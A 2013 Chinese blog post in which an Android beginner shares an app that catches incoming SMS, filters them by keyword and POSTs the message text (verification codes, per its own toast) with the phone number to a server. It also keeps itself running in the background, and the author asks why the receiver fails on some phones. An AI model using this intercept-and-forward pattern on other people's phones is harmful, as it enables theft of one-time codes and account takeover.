Android 短信广播接收相关问题

本人是Android新手,最近做了一个关于监听手机短信功能的应用,我在网上看资料了解到广播分为有序广播和无序广播,有序广播;无序广播又称普通广播,其中的利弊我也一时没搞清楚,我用的是有序广播实现的,具体思路如下

1、定义一个接收短信的广播

2、当系统接收到短信时,拦截短信,获取短信内容

3、将指定的短信内容转发到服务器

下面是我的实现方法

1、添加一个短消息接收类

 1 import java.util.ArrayList;
 2 import java.util.HashMap;
 3 import java.util.List;
 4 import java.util.Map;
 5 import org.apache.http.HttpResponse;
 6 import org.apache.http.NameValuePair;
 7 import org.apache.http.client.entity.UrlEncodedFormEntity;
 8 import org.apache.http.client.methods.HttpPost;
 9 import org.apache.http.impl.client.DefaultHttpClient;
10 import org.apache.http.message.BasicNameValuePair;
11 import android.content.BroadcastReceiver;
12 import android.content.Context;
13 import android.content.Intent;
14 import android.telephony.SmsMessage;
15 import android.telephony.TelephonyManager;
16 import android.util.Log;
17 import android.widget.Toast;
18 
19 public class MessageBroadcastReceiver extends BroadcastReceiver {
20      private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
21      String uri="http://127.0.0.1:8080/Home/SmsHandler";
22         
23         @Override  
24         public void onReceive(Context context, Intent intent) {
25             //监听短信广播
26             if (intent != null && intent.getAction() != null  
27                     && ACTION.compareToIgnoreCase(intent.getAction()) == 0) {   
28                 Object[] pduArray = (Object[]) intent.getExtras().get("pdus");   
29                 SmsMessage[] messages = new SmsMessage[pduArray.length];   
30                 //SmsManager sms=SmsManager.getDefault();
31                String localTelPhoneNumber=getPhoneNumber(context);
32                              
33                 for (int i = 0; i < pduArray.length; i++) {
34                     messages[i] = SmsMessage.createFromPdu((byte[]) pduArray[i]);
35                     if(messages[i].getDisplayMessageBody().contains("测试数据")) //制定短信转发过滤条件
36                     {
37                         String filterSms=messages[i].getDisplayMessageBody();
38                          Map<String, String> params=new HashMap<String, String>();
39                          params.put("phoneNumber", localTelPhoneNumber);  
40                          params.put("smsContent", filterSms); 
41                          try {
42                              sendHttpClientPOSTRequest(uri,params,"UTF-8"); 
43                              Toast.makeText(context,
44                                      "短信验证码已转发!",
45                                      Toast.LENGTH_LONG).show();
46                              // show first message                              
47                          } catch (Exception e) { 
48                               Toast.makeText(context,
49                                      e.toString(),
50                                       Toast.LENGTH_LONG).show();
51                              e.printStackTrace();  
52                          }
53                     }
54                 }   
55                 Log.d("ConvertToMsg", "SMS Message Received.");   
56             }   
57         }   
58         
59         /** 
60         * 通过HttpClient发送Post请求 
61         * @param path 请求路径 
62         * @param params 请求参数 
63         * @param ecoding 请求编码 
64         * @return 请求是否成功 
65         */  
66         private boolean sendHttpClientPOSTRequest(String path,
67               Map<String, String> params, String ecoding) throws Exception {  
68             
69           List<NameValuePair> pair=new ArrayList<NameValuePair>();//存放请求参数
70           
71           if(params!=null && !params.isEmpty()){  
72               for (Map.Entry<String, String> entry : params.entrySet()) {  
73                   pair.add(new BasicNameValuePair(entry.getKey(),entry.getValue()));  
74               }
75           }
76           
77           UrlEncodedFormEntity enFormEntity=new UrlEncodedFormEntity(pair,ecoding);  
78           HttpPost httpPost=new HttpPost(path);  
79           httpPost.setEntity(enFormEntity);  
80           DefaultHttpClient client=new DefaultHttpClient();
81           HttpResponse response=client.execute(httpPost);
82           if(response.getStatusLine().getStatusCode()==200){        
83               return true;      
84           }  
85           
86           return false;  
87         }
88         
89             /* getPhoneNumber方法返回当前手机的电话号码,
90                * 同时必须在androidmanifest.xml中
91                * 加入 android.permission.READ_PHONE_STATE 这个权限
92                */
93               private String getPhoneNumber(Context context){
94                   TelephonyManager mTelephonyMgr;  
95                   mTelephonyMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);   
96                   return mTelephonyMgr.getLine1Number();  
97               }  
98 }
短信接收广播
 1 import com.example.testdemo.MessageBroadcastReceiver;
 2 import com.example.testdemo.R;
 3 import android.os.Bundle;
 4 import android.app.Activity;
 5 import android.content.ActivityNotFoundException;
 6 import android.content.BroadcastReceiver;
 7 import android.content.ComponentName;
 8 import android.content.Context;
 9 import android.content.Intent;
10 import android.content.IntentFilter;
11 import android.content.pm.ActivityInfo;
12 import android.content.pm.PackageManager;
13 import android.content.pm.ResolveInfo;
14 import android.telephony.TelephonyManager;
15 import android.view.KeyEvent;
16 import android.view.Menu;
17 import android.widget.Toast;
18 public class MainActivity extends Activity {
19     @Override
20     protected void onCreate(Bundle savedInstanceState) {
21         super.onCreate(savedInstanceState);
22         setContentView(R.layout.activity_main);
23         
24         String phoneNumber = getPhoneNumber(this);
25         
26         if(phoneNumber == ""){
27              Toast.makeText(this,
28                      "程序错误!",
29                      Toast.LENGTH_LONG).show();
30              return;
31         }else{
32             Toast.makeText(this, 
33                     phoneNumber,
34                     Toast.LENGTH_LONG).show();
35         }
36         
37         //注册短信广播
38         final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
39         IntentFilter filter = new IntentFilter(SMS_RECEIVED);       
40         BroadcastReceiver receiver = new MessageBroadcastReceiver();        
41         registerReceiver(receiver, filter);
42     }
43 
44     @Override
45     public boolean onCreateOptionsMenu(Menu menu) {
46         // Inflate the menu; this adds items to the action bar if it is present.
47         getMenuInflater().inflate(R.menu.main, menu);
48         return true;
49     }
50     
51     @Override  
52     protected void onDestroy() {   
53         super.onDestroy();   
54     }   
55     
56     /*重写Home键盘事件,使程序后台运行*/
57     @Override
58     public boolean onKeyDown(int keyCode, KeyEvent event) {    
59         PackageManager pm = getPackageManager();    
60         ResolveInfo homeInfo =   
61             pm.resolveActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME), 0);   
62         if (keyCode == KeyEvent.KEYCODE_BACK) {  
63             ActivityInfo ai = homeInfo.activityInfo;    
64             Intent startIntent = new Intent(Intent.ACTION_MAIN);    
65             startIntent.addCategory(Intent.CATEGORY_LAUNCHER);    
66             startIntent.setComponent(new ComponentName(ai.packageName, ai.name));    
67             startActivitySafely(startIntent);    
68             return true;    
69         } else    
70             return super.onKeyDown(keyCode, event);    
71     }
72     
73     private void startActivitySafely(Intent intent) {    
74         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);    
75         try {
76             startActivity(intent);    
77         } catch (ActivityNotFoundException e) {    
78             Toast.makeText(this, "null",    
79                     Toast.LENGTH_SHORT).show();    
80         } catch (SecurityException e) {    
81             Toast.makeText(this, "null",    
82                     Toast.LENGTH_SHORT).show();     
83         }
84     }
85     
86     /**
87          *     1.    getPhoneNumber方法返回当前手机的电话号码,
88          * 同时必须在androidmanifest.xml中
89          * 加入 android.permission.READ_PHONE_STATE 这个权限
90          */
91         private String getPhoneNumber(Context context){
92             TelephonyManager mTelephonyMgr;  
93             mTelephonyMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);   
94             return mTelephonyMgr.getLine1Number().trim();  
95         } 
96 }
在MainActivity中调用广播
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.testdemo"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="5"
        android:targetSdkVersion="5" />
     <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
 <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
 <!-- <uses-permission android:protectionLevel="normal" android:name="android.permission.SEND_SMS"></uses-permission> -->
 <!-- Http权限 -->
 <uses-permission android:name="android.permission.INTERNET" /> 
 <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <!-- 开机启动完成权限 -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.example.testdemo.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
         <!-- 注册广播接收器,用于接收开机启动完成的广播 -->
        <receiver android:name=".BootStartBroadcastReceiver">  
          <intent-filter>  
            <action android:name="android.intent.action.BOOT_COMPLETED" />  
           </intent-filter>
        </receiver> 
    </application>
</manifest>
在MainFest.xml添加权限

好了,配置好之后就可以编译你的项目了,在手机上安装测试可以正常运行,但是有一些问题,就是在某些手机上短信广播接收不到,例如小米和以前的某些牌子的老款智能手机,我在网上查了查,有认说是广播优先级问题,同是短信应用软件,先安装的优先级高,还有一种情况,是软件本身的优先级高,但是都没有提出具体的解决方案,还有一个原因就是系统本身的安全机制,由于某些设置导致短信应用软件不能正常使用,例如小米手机,在短信设置里面好像有一项和短信接收有关的设置,调整之后就可以接收了,但其他手机还没有解决,如果有哪个大牛有好的解决方案,给小弟指点迷津,感激不尽。

 

posted @ 2013-11-02 09:48  竹林溪风  阅读(1484)  评论(3编辑  收藏  举报